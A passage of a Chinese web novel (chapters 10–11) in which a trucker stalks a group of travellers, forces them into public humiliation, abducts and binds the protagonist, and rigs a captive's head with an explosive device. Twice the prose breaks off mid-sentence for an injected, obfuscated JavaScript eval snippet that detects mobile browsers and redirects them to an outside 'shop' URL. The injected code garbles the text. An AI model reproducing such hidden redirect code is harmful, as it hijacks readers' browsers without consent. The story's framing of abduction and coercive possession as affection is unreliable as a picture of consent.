梅尔猛地抬头瞪向他,眼眶通红:“波比在他手里!你以为我不知道你们去医院看过受害者惨状?波比都告诉我了,而这一切都是你带的头,本!” “行行行!” 本拉开车门走出去,在车旁徘徊了一会,随后狠狠踹了一脚车门:“该死!” 郗涟和凯拉见状,也只能下车,默默地将手机丢在地上。 本跟着两人不爽地从口袋里掏出手机,狠狠摔在地上,然后只能眼睁睁看着梅尔将所有手机堆到车轮前。 紧接着梅尔坐上驾驶座,发动车子,车轮缓缓地碾碎了那些手机。 “做得不错。”锈铁钉的声音从对讲机里传来,带着一丝笑意,“看来你们很快就能团聚了。” 说完他就将电台关闭,随后转头看了眼已经痛到失去意识到波比,伸手攥住对方衣领,毫不费力地将人一路拖向卡车。 沙石地面粗糙地磨过波比的后背,留下一片火辣辣的擦痕。波比无意识地皱紧眉头,但强烈的疼痛感让他没有任何能力抵抗。 直到被拖到卡车后厢,锈铁钉手臂一扬,像扔垃圾般将人丢了进去。 他站在车厢边,抬眼扫了一眼这片偏僻的荒野,低声自语:“看来不能回来这里了。” 10. Chapter 10 梅尔盯着前方漆黑的公路,深吸一口气,握紧了方向盘:“走吧……去那个酒吧。” 她抹去眼泪,掉转车头,朝着地图上玛西尔酒吧的标记驶去。 副驾驶的凯拉沉默着,后座的郗涟也看着窗外,神色凝重。 他从未想过这种只会在电影里出现的恐怖情节,竟真会发生在自己身边。 在这荒芜无垠的公路上,那个变态如同隐形的幽灵,不知会从哪个方向再度出现。 一旁的本心情也糟透了,他原以为能尽快逃离,却没想到事情会演变至此。 郗涟转头看向几人,试图打破这令人窒息的沉默:“那个……那人应该是卡车司机吧?毕竟他用的是车载电台,又在这附近游荡,这附近也只有卡车行驶的痕迹。不过这种通讯距离总该有个限制吧?” 本思考了一会随后说道:“刚才我们停车的地方离那栋房子不远,大概七八公里。据我所知,这类车载电台的有效距离差不多五六公里。” “你怎么这么清楚?”凯拉疑惑地瞥了本一眼。本的风格,实在不像会接触这些的人。 本撇了撇嘴:“我爸就是开卡车的。所以我了解他们那类人全是些脑子有问题的‘香肠族’,恶心透了。” 郗涟:“……” 原来本一开始就知道电台的通讯距离,难怪昨晚他敢那样挑衅对方,因为根本就没超出范围。 他无奈地看向本,一时不知该说什么。 本注意到郗涟的视线,转头看了眼对方。 阳光正透过车窗落在郗涟脸上,那皮肤在光线里几乎透出瓷质的清透感,整个人精致得像一尊易碎的人偶。 本喉结动了动,一句话鬼使神差地脱口而出:“要是那个变态想抓你怎么办?” 郗涟:“……” 他皱眉瞥了本一眼,都什么时候了,还在说这些没头没脑的话。 要不是看在同学情分上,真想直接把他踹下车。 梅尔本就心烦意乱,听到本的话更是火冒三丈:“你给我闭嘴!还不是都因为你!” 凯拉连忙打圆场:“别吵了,梅尔还在开车,安全第一,等到了地方再说吧。” 郗涟也马上安抚两人。 毕竟有时候遇到猪队友真是没辙。 一行人就这样在压抑的沉默中,朝着目的地驶去。 郗涟看着公路上的车流逐渐稀疏,天色也开始转暗。 再过一会儿就要入夜了,这可不是什么好兆头,夜晚只会让那个疯子更危险,谁知道他会在什么时候突然出现。 本同样也很烦躁。 他是唯一正面接触过那家伙的人,对方块头大得吓人,却总戴着墨镜和鸭舌帽,根本看不清长相。 在本看来,那就是个彻头彻尾的神经病!谁会因为一次电台互动就开卡车四处纠缠他们…… “我有点奇怪,那个人为什么能一直跟着我们?” “……” 没人知道为什么。 另一边的锈铁钉正驾驶着卡车,朝玛西尔酒吧的方向驶去。 被困在后座的波比发出含混的呜咽,他全身剧痛,膝盖肿得发紫,嘴巴被胶带封死。 可先前电台里的对话他却听得一清二楚。 波比后悔极了。 后悔和本这样的人结伴出行,更后悔那场轻率的恶作剧。 波比很想道歉,可对方的意图显然不止于此。 他现在只祈祷梅尔他们能掉头离开,越远越好。 与此同时,郗涟四人已经抵达到了玛西尔酒吧停车场内。 本紧皱眉头,他打死也不想下车。 实在是太尴尬了,赤身裸体进去大喊餐厅里的事情,这种事情他绝对不可能会去做的。 但在梅尔冰冷的注视下,本只能硬着头皮推开车门,他有些不甘心地转头看向车内的三人说到:“我需要有人陪我一起!” 梅尔蹙眉:“我跟你去。” 凯拉和郗涟则是选择留在车上,“我们在这儿等你们,万一有事也好立刻离开。” “就这么定了。”说完,梅尔便拽着本朝那片混乱的光影中走去。 本根本不想走进去,这地方果然就和他想的一样,垃圾的要死!到处都是汽油和酒的味道,难闻的要命! 一想到要在这里面社死,本就想拔腿逃跑,但梅尔握着电击棒死死盯着他,硬是逼着他挪进了卫生间。 本气得浑身发抖,周围也没有可以逃离的地方…… 想到波比、想到门外那个随时会崩溃的梅尔,本最终还是僵硬地脱掉衣服,用双手堪堪遮住重点部位,挪了出来。 一瞬间,酒吧内所有的目光都看了过来。 周围刺耳的窃窃私语像潮水水般涌起,其中夹杂着不少口哨声和嗤笑。 甚至还有人起哄怪叫地朝着本喊道:“看那小子!” “搞什么鬼?” “哈哈哈快拍下来!” 本想大喊别拍了,可他勉强只能遮住下面,哪还有手去挡镜头,更别说阻拦那些围观的人。 就在本需要求助的时候,梅尔正在酒吧内四处张望,试图找到本所描述的那个人。 她觉得那个疯子肯定会躲在某处看着这一切,毕竟疯子不就是这样的吗?享受和欣赏着他主导的戏码。 锈铁钉正透过监控画面,饶有兴致地看着屏幕中几人的表情。这种公开羞辱的戏码,足够那小子记一辈子了。 而且,那小子的一辈子很快就要结束了。他确实答应会让他们团聚,可没说不会让他们活着离开。 毕竟这些猪猡得付出更加实在的代价才行。 锈铁钉漫不经心地想着,随后掐灭了烟头,丢到了烟灰缸内。 酒吧里的闹剧是惩罚,是前菜。 现在,他该关心一下自己的正餐了。 毕竟,在收拾那些碍眼的“猪猡”之余,他也得抽空关心一下自己甜心的状况,听听那小甜甜此刻正在做什么。 ———————————————— “那我们就一直在这儿等着吗?”郗涟有些茫然和不确定。 他看着窗外越来越浓的夜色和远处酒吧门口模糊晃动的光影,心里空落落的,根本不知道该怎么办…… “除了等,我们还能做什么?”凯拉的声音有些疲惫,也透着无奈。 她心底何尝不希望一切都像梅尔设想的那样顺利,完成那个疯子要求的任务,拿到钥匙或者别的什么,然后换回波比,让这场噩梦赶紧结束,让一切回到正轨。 而不是像现在这样,被困在荒郊野外,卷入莫名其妙的危险游戏,一切都乱七八糟,糟心得让人喘不过气!! 郗涟听着凯拉的话也了安静了下来,毕竟他也想不出更好的办法,内心的无力感像藤蔓一样缠绕上来。 开始飘起细密的雨丝。 雨势逐渐变大,噼里啪啦地砸在车顶和玻璃上,将外界的一切声响都模糊掉。 凯拉连忙将所有车窗关上,转头看向后座的郗涟:“要不,我们把电台打开?” “好……” 郗涟主动打开了电台,因为气氛安静的有些可怕,他沉闷想要调到音乐频道,正好经过21号频道的时候,又听到了那个男人自言自语地声音:“雨越来越大了,你们还好吗?” 他倏地转头看向副驾驶座的凯拉,是锈铁钉! 那人又在频道里!怎么办? 凯拉显然也听到了。 “算了,还是你和他说吧。”凯拉认真端详着郗涟的脸,“我觉得他……好像真的挺中意你的。” 郗涟:“???” 她看着郗涟惊慌失措的脸,那双即使在恐惧中也显得格外清澈明亮的眼眸,还有那被车内昏黄灯光勾勒得过于精致的轮廓。 她很清楚,不论男女,见到郗涟这样的人很难不产生好感。 可对方是个彻头彻尾的疯子。 疯子的“喜欢”,究竟会是怎样的东西? 郗涟只觉得凯拉在说冷笑话。 谁会因为几句通话就喜欢上对方,搞得和网恋一样,而且他们就说过几次话而已! “毕竟他一直喊你‘小甜甜’,不如趁这个机会试着求求情?” 郗涟转念一想觉得有理,毕竟现在朋友们的安危才是最重要的! 他拿起对讲机有些迟疑地说道:“是锈铁钉?” “哦~小甜甜,你终于上线了?”锈铁钉将耳机摘下,先前他们在车内的谈话,他已经听得很清楚了。 “锈铁钉,你可以放过波比吗?” “嗯哼~然后呢?”锈铁钉既不答应也不拒绝,反而饶有兴致地反问,“小甜甜,我要是答应了……你能给我什么?” 郗涟一时语塞。 凯拉却嗅出一丝不对劲,她迅速将电台调回音乐频道,警惕地环顾着车外,压低声音对郗涟说:“我们之前说过他很早就盯上我们,该不会连我们长什么样都知道吧?” “我不知道……”郗涟彻底懵了。 如果真像凯拉推测的那样,情况就糟透了。 对方显然不会轻易罢手,只会像猫捉老鼠般将他们玩弄于股掌之间。 “那我们到底该怎么办?总不能一直被他牵着鼻子走吧?”郗涟觉得这绝非长久之计,必须寻求外援。 凯拉有些沉默,她想离开这里了。 她想了想说道:“我先去酒吧里面找下梅尔和本,你在这里带着小心一点。”说着也不给郗涟反驳的机会,立马拉开车门就朝着酒吧的方向跑去。 郗涟整个人都呆住了,凯拉就这样直接走了吗? 就在他措手不及的时候,电台里又传来了那个名叫锈铁钉男人的声音,对方低声笑着说道:“小甜甜,你的朋友好像又丢下你走了。” 郗涟整个人汗毛竖起,他环顾着四周,整个人开始紧绷,对方到底在哪里? “求求你,拜托你,别伤害大家了!你要什么我们都会做的!只要,只要你别伤害他们!求你了!” “真的吗?什么都可以?” “小甜甜,我可是一个很认真的人。你觉得用什么,能换你那几个朋友的安全呢?” “我,我不知道。”郗涟是真的不知道,毕竟一个疯子的想法谁又会知道呢? “呵呵,你知道的,我要你。” “什、什么?”郗涟被这话砸懵了。 “我说,用你自己来换你朋友的安全。你觉得这交易怎么样?” 郗涟只觉得对方在戏弄自己,正常人谁会相信这种荒唐的威胁? 他故作镇定地说道:“我不信你。你要钱还是要别的?如果能办到,我们一定做。” “甜心,我说了,我要你。”锈铁钉的嗓音沉了沉,随即又像谅解似的轻笑起来,“好吧,看来是筹码还不够多……我明白。” 他吸了一口指间快要燃尽的烟,随后将烟蒂摁灭在车载烟灰缸里,目光落向副驾座位上摊开的笔记本电脑。 电脑屏幕上分格显示着酒吧内数个监控画面,其中一格正清晰映出梅尔三人的身影。 “又落单了,小甜甜。” 锈铁钉笑着说道,紧接着从副驾驶座的储物格里抽出一卷胶带,心情颇好地推开车门。 车门“咔”一声,在寂静的雨夜里显得格外清晰。 锈铁钉顶着雨水,不紧不慢地朝着郗涟所在的方向走去,高大的身影融入细密的雨幕中…… 另一头的郗涟听着车载电台信号突然中断,整个人开始不安起来。 前几分钟凯拉才刚离开,可他又不敢贸然下车,毕竟车钥匙不在自己,车门没锁…… 雨点敲打车窗,外面的世界模糊成一片流动的灰影。 郗涟没手机,什么也没有,只有电台上显示的时间。虽然才过去几分钟,但是他总觉得过去了很久很久。 就在郗涟视线未能触及的角落,一道高大的身影正不紧不慢地从车尾方向绕近。 水珠顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040258|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着帽檐滑落,锈铁钉顶着雨水站在车尾不远处,紧紧地盯着车内那道身影。 他们此刻仅仅只隔着着几步的距离,太远了,还不够。 郗涟在车内微微前倾着身子,看起来像是在努力辨认四周。 酒吧招牌的光线透过雨雾落在他侧脸上,将郗涟精致的轮廓勾勒得清晰分明。 锈铁钉甚至看清了郗涟那副紧张不安的小表情,让他看起来像一只被无意间困在玻璃罩中茫然无措的小动物。 真可怜,又被孤零零地丢在这儿了。 不过没关系。 他来了。 似乎是锈铁钉的视线太过专注,专注到郗涟下意识觉得这附近有人在看着自己。 可车后只有被雨水冲刷得模糊的夜色,空荡荡的什么也没有。 是他的错觉吗? 可那种被无形锁定的直觉却越来越强,郗涟心里害怕得发慌。 凯拉他们什么时候才能回来? 就在郗涟等得有些焦躁不安时,后排的车门毫无预兆地被拉开了—— 一个高大的身影堵在门边,一只手将他整个人牢牢按在座位上,另一只手死死捂住了郗涟的嘴,紧接着将车门关上。 郗涟根本没反应过来,脸贴着椅背,对上了一双冷漠的眼睛—— 是先前那个卡车司机! 男人以一种怀抱地姿态控制住了郗涟,低头看着被控制住的青年说道:“乖乖地别动,也别喊。否则……后果你不会想知道的。” 郗涟听到这熟悉的声音,吓得眼眶瞬间红了,没想到他居然就是电台里的那个男人! 锈铁钉掐着青年的下颌,垂眸欣赏了好一会儿,随后贴近郗涟的耳朵,声音低哑地说道:“有没有人说过……你真的很可爱?” 说完,他从口袋里摸出一卷胶带,撕下一段,牢牢封住了郗涟柔软的嘴唇。 腾出地左手抱起郗涟,右手慢条斯理地抽出腰间的皮带,紧接着便将对方纤细的手腕反拧到身后。 他咬着皮带的一头,另一只手一圈一圈缠紧青年的手腕,直至郗涟根本无力挣脱。 做完这一切,锈铁钉腾出的手抚上郗涟的脖颈,看着青年无法挣脱的模样,他指尖下意识沿着侧颈线条缓缓滑下…… 郗涟下意识想躲开对方的触碰,可手腕和腰都被牢牢控制着,下一秒,脸就被捏住小心地扳了回来。 锈铁钉的目光一寸寸扫过对方颤抖的睫毛、泛红的眼眶,再到无声起伏的胸口…… “偷车的代价……从今天起,你是我的。” 锈铁钉将车门打开,弯腰起身离开车厢。 外面的雨下得很大,但这似乎并不影响他的好心情。 他转过身看向车内的郗涟,嘴角勾了勾,随后将身上的皮夹克脱下,包在郗涟的身上,一只手臂箍住郗涟纤细的腰身,另一只手则顺势下滑,牢牢扣住他的膝弯。 “呜——!”郗涟被吓得浑身一僵。 整个人从车内拖了出来,像个没有重量的玩偶般,被对方轻而易举地扛上了肩头。 视野瞬间颠倒。 郗涟头朝下,只能看见锈铁钉宽阔的后背和下方湿漉漉的地面。 腹部随着锈铁钉的移动,时不时撞上对方坚硬的肩膀,一阵钝痛袭来,难受得他下意识挣动了一下—— 锈铁钉迎着雨水朝着抱得更紧了,甚至不轻不重地拍了拍他的臀部,玩味地压低声音:“宝贝,你也不想这么快就受苦吧?嗯?” 郗涟浑身一僵,立刻不敢再动。 他只觉得自己要完蛋了,满脑子都是对方可能用来折磨自己的种种幻想。 郗涟越想越怕,眼泪无声地不停往下掉。 不过很快,他就被对方塞进了一辆卡车的驾驶座内。 锈铁钉紧接着也坐上车,“砰”地一声关上车门。 他从口袋里摸出一根烟,低头用打火机点燃。猩红的火舌舔舐烟尾,在他晦暗的眼底投下跳动的光影。 随后,锈铁钉抬起眼,目光毫不遮掩地扫过郗涟的脸。 车顶昏黄的暖光沉沉压下来,落在郗涟苍白的脸颊与那副完全受制的姿态上。 锈铁钉光是看着对方这幅姿态,心里的那股暴戾感就像毒液般迅速蔓延全身。 郗涟被那眼神盯得心里发寒,下意识往后缩,可他全身都被控制住了,逃也逃不掉…… 锈铁钉看着眼前颤抖的青年,朝着对方吐出一口烟雾。 他想要摧毁,想要占有,想要在这张漂亮的脸上,烙下自己的印记。 锈铁钉越想越兴奋,直接伸出手一把将黑发青年重重地拽进怀里。 郗涟被吓得一颤。 男人的手臂撑在他身侧,阴影如牢笼般完全笼罩下来。 锈铁钉低头埋进对方颈窝,近乎贪婪地嗅了嗅郗涟的脖颈。 ……该死。 怎么会这么让他满意的人。 郗涟被对方身上强势的烟草味呛得头昏,再加上强烈的恐惧,整个人难受得忍不住发抖,眼泪无声地往下掉。 锈铁钉自然感觉到了颊边滴落的湿痕。 他掐住郗涟的脸颊,迫使对方抬起泪湿的眼眸看向自己。 沉默几秒后,他压低声音,自以为安抚地说道:“别哭,我不会伤害你的。” 他确实没打算伤害他。 他只是想把人抓回来而已。 可郗涟一个字都听不进去,他早就被对方这一连串的举动吓坏了,强烈的恐惧如潮水般涌上,眼前骤然一黑—— 郗涟直接晕过去了。 锈铁钉刚想解释自己确实不会伤害对方,怀里的人就已经软软地倒了下来。 他挑了挑眉,舌尖顶了顶上颚,垂眸看向怀中失去意识的黑发青年。 还真的是一只小兔子…… 不过没关系,他还有很多时间可以慢慢陪小甜心“玩”。 锈铁钉弯起嘴角,心情颇好地发动车子,缓缓驶入雨夜中…… 11. Chapter 11 凯拉冲进酒吧是为了找人求助,因为她不想再陪那个疯子玩什么“拯救同伴”的游戏了,她必须立刻离开这里! 梅尔正躲在角落搜寻锈铁钉的痕迹,却瞥见凯拉正鬼鬼祟祟地跟几个陌生男人低声交谈。 她心头一紧,立刻冲过去将凯拉拉进角落:“嘿!你来这里做什么?涟呢?” 凯拉没想到这么快就被梅尔发现。 趁所有人的注意力都在本身上时,她本想悄悄找人求助,可看着梅尔满心满眼只有波比的样子,她知道根本没法沟通。 “涟还在车里。我看你们这么久没回来,有点担心你们而已。”她随口敷衍道。 梅尔显然不信这套说辞,但她现在没心思吵架。 波比的安危像块巨石压在胸口,她只能强行转移话题:“我们得赶紧回去找涟,留他一个人太危险了。而且我在这里也没找到锈铁钉的痕迹。” 凯拉顺势点了点头,随后和梅尔一起离开酒吧。 可回到停车处时,两人同时僵住了。 车门敞开着,郗涟已不见踪影。 另一边的本觉得时间差不多了,立刻捂着下半身冲到洗手间,手忙脚乱地套上自己的衣服。 刚才那幕简直像个小丑,他气得浑身发抖。 等本换好衣服,在众人嘲弄的目光中捂着脸逃回停车位时,却发现梅尔和凯拉正在激烈地争吵。 从两人的争执中,本总算拼凑出了真相: 原来凯拉竟趁乱偷偷溜进酒吧求助,把郗涟独自留在了车上。 “该死!所以涟到底去哪儿了?!”本烦躁地踹了一脚车门,冲着凯拉吼道:“都怪你!自己跑进来,把涟一个人丢在外面!” 其实他更恼火的是,为什么那个锈铁钉偏偏只盯上了自己一个人折腾…… “我怎么知道?” 梅尔听凯拉的话气得浑身发抖。 波比失踪了,现在连郗涟也不见了,绝对是那个疯子干的! 郗涟绝不会自己乱跑,除非被人强行带走。 梅尔强压着恐慌,对剩下两人说道:“冷静点。凯拉一来找我们,郗涟就不见了……这说明那个人和我们猜测的一样,一直在这附近盯着我们的一举一动。从现在起,我们绝对不能离开彼此的视线。” “对我们了如指掌?”本紧皱着眉头。 “应该是这样。” 本几乎要被怒火和无力感撕成两半,那个疯子到底想干什么?! 他一把抓起对讲机,几乎是吼了出来:“锈铁钉!锈铁钉!” 三人屏息等待。 许久,电流声里才传来漫不经心的回应:“怎么了?” “我们明明照你说的做了!为什么还要抓走郗涟?!” “因为游戏还没结束,”那声音带着愉悦的起伏,“还是说你不想救你的朋友了?” 本突然沉默了。 已经到了这个地步,两个朋友被抓,自己还被对方当猴耍了一道。 他们还能怎么办? 凯拉也没想到对方竟真的一直监视着他们所有人。 她原以为对方只有一个人,不可能同时盯住四个目标。 梅尔嘴唇动了动,却什么也没说出来。 又少了一个同伴……这恐怕是她人生中最无助的时刻了。 一想到波比还落在那个疯子手里,梅尔的眼泪就止不住往下掉:“不……波比是我最爱的人,我绝不能丢下他。” 电台另一头的波比听见这句话,眼眶骤然红了。 锈铁钉却没兴致欣赏这出“生死虐恋”。 “嗯哼,你们可以带走波比,按照我说的去做就可以了,别以为我不知道你们去酒吧是想借机会求助。” 锈铁钉深吸一口烟,目光扫过副驾上昏厥的郗涟。 他用手掌摸了摸对方冰凉的脸颊,扭了扭脖子,声音里带着一种施舍般的宽容:“不过……看在是小甜甜的份上,我愿意再给你们一次机会。别再考验我的耐心了。” 梅尔看向本和凯拉心脏沉到谷底,失踪一个波比已经足够可怕,现在连郗涟也落在了这疯子手里。 事情已经完全失控了。 她转头看向身旁的凯拉和本,深吸一口气,终于对着对讲机开口:“好,那你要我们做什么?” “呵呵,去后备箱看看,就让那个时髦小子继续完成任务吧。至于那个总在求助的女人……” 凯拉一时语塞。 她早就不想陪他们玩下去了,她要离开这里! 她才不会为了梅尔他们冒险听从一个变态的指令,她有自己的计划。 “让她开车吧。如果她开错方向,或是去找警察……我不能保证你亲爱的波比身上,会不会少点零件。” 梅尔用力点头:“好!只要让我见到波比,我什么都愿意做!” 她根本不在乎会害死谁。 无论如何,她绝不能放弃波比。 等梅尔关闭电台后,凯拉一脸不赞同:“你疯了吗?我绝不会继续听那个变态摆布!郗涟已经被他抓走了,我们应该立刻报警!” 梅尔打断她,声音因激动而发颤,“别说了!我们必须照做!我不能让波比受到任何伤害!” 本都不知道该说什么好。 他内心其实站在凯拉这边,可谁又能想到那个变态竟一直在监视他们的一举一动。 “他让我们去后备箱……那里面是什么?” “谁知道?” “你去看看?” 梅尔见没人动弹,直接拔掉车钥匙下车,走到车尾一把掀开后备箱,里面竟塞着一套女人的裙装和高跟鞋。 本看着这些衣服声音气得发抖:“疯了吗?!他想让我穿这个去做那种事?我才不干!” 梅尔看着本突然大叫,直接从袖口抽出电击棒,毫不犹豫地捅在本身上! 本猝不及防,整个人被电到抽搐着瘫倒下去。 “快点!你必须照做!”梅尔的眼睛红得吓人。 凯拉见她态度如此决绝,也不敢再说什么,只能默默发动车子,朝对方指定的废弃仓库驶去。 * 不知过了多久,郗涟在一片昏沉中艰难地醒来,发现自己正被绑在一间阴暗的屋子里。 手腕被粗糙的麻绳勒得生疼,空气中弥漫着一股废弃很久的灰尘味。 郗涟浑身一颤,可嘴巴仍被胶带死死封住,只能发出模糊的呜咽。 他无论如何也没想到事情会发展到这种地步。 就在郗涟陷入绝望的胡思乱想时,“啪”的一声,头顶的灯突然亮了。 刺眼的光芒让他下意识紧闭双眼,泪水不受控制地涌了出来。 白光瞬间让狭小的房间瞬间变得亮堂了起来,也照出沉默地坐在角落阴影的男人。 他眼看着对方站起身,不紧不慢地走到自己面前蹲下。 四目相对的瞬间,郗涟清楚看见那双眼睛里毫不掩饰的侵略性。 他下意识想躲开视线,脸却被对方一把掐住,被迫迎上那灼人的目光。 郗涟害怕地下意识闭上了眼睛。 “为什么闭上眼睛,你的同伴在外面,你不想看看吗?” 听着男人的话,郗涟完全不知道该怎么回应,沉默地不敢说话。 锈铁钉低笑一声,随意向后一靠,坐在旁边的木凳上。 他悠闲地翘起腿,将膝上的笔记本电脑转向郗涟。 画面上正是先前本在酒吧的录像。 锈铁钉低笑出声,语气戏谑的说道:“这家伙嘴巴是真不干净……不过这样,不是很有趣么?” 郗涟一点也感受不到乐趣,他觉得很可怕,或许这人也会这样对待自己,一想到这里他整个人要碎了。 锈铁钉见他始终沉默,眼底掠过一丝阴郁。 “你觉得我该怎么处置他们呢?”他嗓音压得很低,手指突然用力掐住郗涟的脸颊,强迫郗涟抬起头。 可青年眼中只剩一片空洞的恐惧,如同被抽去灵魂的精致人偶。 锈铁钉动作一滞,不自觉松开力道小心地撕开他脸上的胶带。 “甜心,一直不理我,我会很为难的。”他低声说着,指腹无意识地摩挲着胶带残留的粘痕。 “对不起。”郗涟小声地说着,根本不敢看对方。 锈铁钉没遇到过这种情况。 毕竟,“喜欢”对他而言是完全陌生的领域。 他没经验。 锈铁钉盯着郗涟思索了几秒,随后从口袋里掏出一个漆黑的遥控器,按了下上面的按钮。 “啊啊啊——!!”门外突然传来了波比凄惨的喊叫声。 郗涟被那叫声给吓得哆嗦了一下,眼泪瞬间夺眶而出:“别这样!求你了,我一点也不喜欢这样,能不能别伤害他们。” 锈铁钉听到郗涟的话动作微微一顿,他垂下视线看着青年泪痕交错的脸,心底莫名泛起一丝不快。 为什么要在意那些猪猡的死活? 真是拿他没办法…… “我可以放过他们。” “真的吗?”郗涟抬起湿漉漉的眼睛看着锈铁钉。 “如果是你,我确定。” “为什么?我们甚至没见过”郗涟的声音越来越低,眼眶通红。 他又不是傻子。说不定这个变态下一秒就要将他杀死! 锈铁钉的目光停留在郗涟脸上,忽然低笑道:“是啊,你没见过我。” “可我见过你。那天下午你站在公路旁,身后是荒芜的落日和漫天尘土,可你像一颗被误弃在废墟里的珍珠。” “你根本不需要认识我。从你闯入我视线的那一刻起,你就已经是我的了。” 想要就是得抢回来不是吗? “我……”郗涟张了张口,根本不知道该说什么,他很确定这人就是有病…… 他被神经病给盯上了。 锈铁钉看着郗涟笑了笑,手指缓缓穿入郗涟柔软的黑发间,像给受惊的幼兽顺毛那样带着一种掌控一切的力度轻轻揉了揉。 “我不会伤害你的,别害怕了。” 紧接着,他动作利落地解开了捆在郗涟手腕和脚踝上的粗糙麻绳。 郗涟僵在原地,甚至没敢趁机抽回手。 对方身高接近两米,体格健硕如山,投下的阴影几乎能将他完全笼罩。而自己不过一米七五,身形清瘦,力量悬殊得如同幼鹿直面成年的虎。 即便重获了行动能力,一丝一毫反抗的念头,都从骨子里生不出来。 “那么,选好了吗?”锈铁钉俯身逼近,低声说道:“当然你只有一个选项。” 选……选什么? 郗涟茫然地望着他,嘴唇微张,却一个字也不敢说。 锈铁钉盯着他那双湿漉漉又全然迷茫的眼睛,一股战栗般的兴奋无声窜过脊背。 真是,可爱得让人想彻底弄坏。 “成为我的人……这不是偷车该付的报酬吗?” 他的视线缓慢地看向青年颤抖的眼睫上,顿了顿,才继续道:“好吧,我可以等等。不过时间不多哦。” 锈铁钉直起身似乎准备离开,阴影从郗涟身上稍稍退开,“既然你需要时间考虑……那在这段时间里,我只好先找别人收点‘利息’了。” 郗涟听到对方的话有些不对劲,立马阻止道:“等等!” “乖乖在这里等我。” 锈铁钉说完就转身将关上门,原本温和地神情在扫视到被捆在柱子上的波比时瞬间变得漠然。 波比的头上缠着特制的钉带,只需轻轻一扯引线,头颅就会像熟透的西瓜般炸裂。 这设计精巧得让他自己都有些欣赏,不过想到小甜甜看到这幅景象时可能会露出的表情…… 算了,是时候该物色些新的“筹码”了。 毕竟要让小甜甜心甘情愿地留下来,总得准备好充足的交换条件。 一想到那个正在徐徐展开的“美妙计划”,他的心情就变得格外愉悦。 锈铁钉吹着轻快的口哨坐进驾驶室,兴致勃勃地朝着和小老鼠们约定好的地点驶去。 郗涟一人茫然无措地蜷在角落,他该怎么办? 恐惧像冰水般渗入骨髓,让他浑身发冷。 被这种人盯上还是头一次,而对方显然不止是口头威胁,那人是真的会下手。 郗涟将身体紧紧贴在冰冷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057000|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙面上,屏息凝神地听着周围的动静。 确认那个男人的脚步声已经远去后,他小心翼翼地摸索到铁门边。 门显然被人从外面彻底锁死,任凭他怎么推拉都纹丝不动。环顾四周,连一扇通风的窗户都没有。 不知道为什么,眼眶又开始发酸。这几天的经历简直糟糕透顶,郗涟是真的感到筋疲力尽了。 他抬手抹去脸上的湿痕,胸腔里却忽然泛起一种近乎荒唐的平静。 反正自己本就是外来者……随便吧。 郗涟瞥见角落扔着一件还算干净的大衣,他擦干眼泪,扯过大衣裹紧自己,就这样蜷缩着躺倒在冰冷的地面。 疲惫如潮水般淹没意识,他不知不觉沉入昏睡,全然没有注意到门框上方有一个微型摄像头正对准他。 门外,波比整个人也陷入绝望,没想到郗涟也落入这个恶魔的手中。 现在,他满脑子只剩下一个念头:梅尔……快逃吧。离这里越远越好,再也别来找我了。 * 凯拉将车缓缓停靠在路边。 锈铁钉指定的17号仓库就在眼前。 雨明明才停不久,地面还湿漉漉地反射着火光,却丝毫影响不了里面的狂欢。 仓库中央生着篝火,火焰噼啪作响,一群轮廓粗犷的人围着它高声喧哗,举瓶痛饮,粗野的笑骂声混着劣质酒精的气味,在潮湿的夜风里弥漫开来。 这里显然是卡车司机们的聚集地,他们围着篝火饮酒、嬉笑,甚至还有人当众做出不堪入目的举动。 本看着不远处的那群人嫌恶地摇头:“我绝不进去做那种事!” “刚刚不是说好了吗?你就下去按要求做,我们会跟在你后面。”梅尔的语气不容置疑。 本的心情糟透了,他到底为什么要承受这些?!但现在已经没有退路了。 他咬牙换上那团散发着异味的女式假发和裙子,浑身别扭地朝篝火的方向挪去。 梅尔拉着凯拉想让她一起跟上,却被对方挣开了。 凯拉退到车边,声音冷淡,“不用了,你们过去吧。我就在这里等你们。” 梅尔狐疑地看了她一眼,随即转身跟了上去。 既然前几次那个变态都在监视他们,这次肯定也会盯着他们是否照做,这是找到锈铁钉、救出波比最好的机会。 梅尔将围巾拉高遮住半张脸,保持着不远不近的距离跟在本的身后,她迫切地想见到波比,她觉得只要能找到那个卡车司机,波比就有救了。 而此刻的本被周围的嘲笑声搅得心烦意乱。 几个醉醺醺的男人甚至指着他哄笑:“哪来的丑八怪,穿成这样出来吓人?” 他好几次想发火,可看着周围黑压压的人群,还是强忍着恶心继续往前走。 本夹着嗓子,用锈铁钉要求的台词大声说道:“你、你们这些恶心的卡车司机……” 周围爆发的哄笑与尖锐口哨声像潮水般将本淹没。 本的脸涨得通红,却还是硬着头皮把那些羞辱性的句子念完。 就在梅尔环顾四周时,她发现不远处有一个男人似乎正朝着本的方向走了过去,目的就是本。 她握着电击棒小心地走了过去,准备给对方致命一击, 而在梅尔没看到的地方,锈铁钉饶有兴致地看着不远处分散的三人。 “哦哦,看来出现了有意思的事情,不知道能不能一次性解决两个。” 锈铁钉熄火下车,准备去处理本。 他得动作快点,还得赶回去看看小甜甜有没有乖乖待在房间里。 路过仓库边的自动贩卖机时,锈铁钉停下脚步,往机器里投了几个硬币。 哐当、哐当—— 几罐橘子汽水和零食掉进出口。 